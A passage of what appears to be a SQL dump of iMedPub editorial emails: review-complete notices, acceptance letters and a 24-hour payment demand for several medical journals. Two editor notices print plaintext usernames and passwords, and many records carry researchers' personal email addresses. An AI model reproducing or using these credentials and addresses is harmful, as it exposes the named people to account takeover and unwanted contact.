Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ytonbary@gmail.com',6782,'2020-12-15',85),(2380,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6253</b><br />\r\n            <br />\r\n            Article Title: <b>The impact of 24-hour ambulatory EEG in the clinical approach to patients with suspected epilepsy</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Daniel Filipe Borges</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-6253</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',6253,'2020-12-17',75),(2381,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6253</b><br />\r\n            <br />\r\n            Article Title: <b>The impact of 24-hour ambulatory EEG in the clinical approach to patients with suspected epilepsy</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Borges</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','daniel.borges@estescoimbra.pt',6253,'2020-12-17',75),(2382,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6782</b><br />\r\n            <br />\r\n            Article Title: <b>An Unusual Cause of Tachycardia: Focal Nonconvulsive Status Epilepticus Following Acute Head Trauma</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Grattan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bjgrattan@mercy.com',6782,'2020-12-17',85),(2386,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6863</b><br />\r\n            <br />\r\n            Article Title: <b>Primary nasal lymphoma: a case report</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mohamed Ali Gliti</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Berezin</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iptb-20-6863</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','dr_berezin@mail.ru',6863,'2020-12-17',673),(2387,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6731</b><br />\r\n            <br />\r\n            Article Title: <b>A descriptive study on contact tracing of Pulmonary Tuberculosis in Sri Lanka.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.transbiomedicine.com/\" target=\"_blank\">Translational Biomedicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Gamalathge</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Translational Biomedicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nilantha@med.sab.ac.lk',6731,'2020-12-17',673),(2392,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6755</b><br />\r\n            <br />\r\n            Article Title: <b>ORGAN ENGINEERING USING STEM CELLS</b><br />\r\n            <br />\r\n            Corresponding Author: <b>ASHUTOSH MENON</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Berezin</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iptb-20-6755</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','dr_berezin@mail.ru',6755,'2020-12-18',673),(2393,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6880</b><br />\r\n            <br />\r\n            Article Title: <b>Sarcomatoid Anaplastic Carcinoma of the Thyroid: A Case Report</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mohamed Ali Gliti</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Berezin</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iptb-20-6880</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','dr_berezin@mail.ru',6880,'2020-12-18',673),(2394,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6797</b><br />\r\n            <br />\r\n            Article Title: <b>Long-term outcomes in women and men population participating in program of Managed Care after Acute Myocardial Infarction ( MC-AMI), a 12-months follow-up from a single cardiology care center.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Wilkosz</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','katarzyna.wilkosz@gmail.com',6797,'2020-12-19',85),(2397,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6765</b><br />\r\n            <br />\r\n            Article Title: <b>miRNA as a Potential source for combating biotic &amp; abiotic stress in plants and Cancer treatment in humans</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.transbiomedicine.com/\" target=\"_blank\">Translational Biomedicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>nair</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Translational Biomedicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','anairditya241987@gmail.com',6765,'2020-12-19',673),(2401,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6887</b><br />\r\n            <br />\r\n            Article Title: <b>ECHOCARDIOGRAPHIC EVALUATION OF NORMAL ADULT LEFT VENTRICULAR GEOMETRY IN A NIGERIAN POPULATION</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Promise Ogolodom</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mpos2007@yahoo.com',6887,'2020-12-21',48),(2402,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6887</b><br />\r\n            <br />\r\n            Article Title: <b>ECHOCARDIOGRAPHIC EVALUATION OF NORMAL ADULT LEFT VENTRICULAR GEOMETRY IN A NIGERIAN POPULATION</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Promise Ogolodom</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mpos2007@yahoo.com',6887,'2020-12-21',48),(2404,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6908</b><br />\r\n            <br />\r\n            Article Title: <b>People with heart disease have to be more vigilant so as to avoid COVID-19.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>PARWANTO</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','edy.parwanto@gmail.com',6908,'2020-12-21',48),(2406,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6707</b><br />\r\n            <br />\r\n            Article Title: <b>Comparative Assessment of Red Blood cell Morphology in Anaemic Children</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Samuel Mwesige</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6707</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> al-tonbary<br />\r\n            <b>Password:</b> 8kU2pAjI<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ytonbary@gmail.com',6707,'2020-12-22',85),(2411,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-6770</b><br />\r\n            <br />\r\n            Article Title: <b>Impact of COVID-19 on emergency general surgical admission during the peak and patients&acirc;&euro;&trade; reported satisfaction; a busy trauma centre experience in United Kingdom</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Jichi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dr.jichi.619@icloud.com',6770,'2020-12-23',319),(2412,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\">\r\n            <p><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-6770</b><br />\r\n            <br />\r\n            Article Title: <b>Impact of COVID-19 on emergency general surgical admission during the peak and patients&acirc;&euro;&trade; reported satisfaction; a busy trauma centre experience in United Kingdom</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Jichi</b><br />\r\n            <br />\r\n            I would like to inform you that our Journal Coordinator is trying to contact you through mail.</p>\r\n            <p>She already sent you several mails to confirm the payment.<br />\r\n            &nbsp;</p>\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Your publication charge is 719Euro. You have to confirm the payment within 24 hours. After that our finance team will send you the invoice with payment link. For any further query please contact to our Journal Coordinator at <span style=\"color: rgb(51, 102, 255);\">universalsurg@@clinicalmedicaljournals.com</span>&nbsp;&nbsp;</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>\r\n<p>&nbsp;</p>',1,'Author Notification: Accept','dr.jichi.619@icloud.com',6770,'2020-12-23',319),(2413,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6944</b><br />\r\n            <br />\r\n            Article Title: <b>THE DRUG OVERDOSE EPIDEMIC SEEN THROUGH DIFFERENT LENSES </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Koch</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jkoch@odu.edu',6944,'2020-12-24',48),(2414,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6934</b><br />\r\n            <br />\r\n            Article Title: <b>An in vivo Assessment of Diabetes Ameliorating Potentiality of Ethanolic Extract of Cynodon dactylon on Alloxan-Induced Diabetic Rat Model. </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Tahsin</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','whitefang229@gmail.com',6934,'2020-12-24',48),(2415,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6910</b><br />\r\n            <br />\r\n            Article Title: <b>INFLUENCE OF NORDIC WALKING AND RESPIRATORY MUSCLE TRAINING IN PATIENTS WITH PARKINSON: RANDOMIZED CLINICAL TRIAL</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Matos</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: 